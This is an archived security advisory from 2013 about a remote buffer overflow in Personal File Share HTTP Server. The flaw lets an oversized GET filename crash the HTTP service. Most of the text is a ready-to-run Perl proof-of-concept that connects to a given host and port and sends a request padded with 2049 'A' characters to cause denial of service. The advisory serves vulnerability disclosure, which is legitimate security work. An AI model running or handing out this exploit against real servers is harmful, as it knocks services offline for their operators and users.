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Personal File Share HTTP Server Remote Overflow
来源:demonalex(at)163(dot)com 作者:demonalex 发布时间:2013-05-02  
Title: Personal File Share HTTP Server Remote Overflow Vulnerability

Software : Personal File Share HTTP Server

Software Version : UNKNOWN

Vendor: http://www.srplab.com/

Vulnerability Published : 2013-04-28

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
Personal file sharing is a convenient tool for sharing files with other mobile, tablet, or pc. It supports all web browsers.
Other machines can browse or download files using web browser easily.
This software is possible for remote attackers to send a request with GET command and a long string as filename under root dictionary
 that will lead to a Denial Of Service flaw for the HTTP service.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl -w
#Personal File Share HTTP Server Remote Overflow Vulnerability Exploit
#Written by demonalex@163.com
use IO::Socket;
$|=1;
$host=shift || die "___FCKpd___0 \$host \$port\n";
$port=shift || die "___FCKpd___0 \$host \$port\n";
$evil = 'A'x2049;
$payload = 
"GET /"."$evil"." HTTP/1.0\r\n".
"Accept: */*\r\n".
"Accept-Language: zh-cn\r\n".
"UA-CPU: x86\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)\r\n".
"Host: "."$host:$port"."\r\n".
"Connection: Keep-Alive\r\n\r\n";
print "Launch Attack ... ";
$sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30) || die "HOST $host PORT $port is down!\n";
if(defined($sock1)){
	$sock1->send("$payload", 0);
	$sock1->close;
}
print "Finish!\n";
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Independent Researcher
DBAPPSecurity Co.,Ltd./Hong Kong PolyU

 
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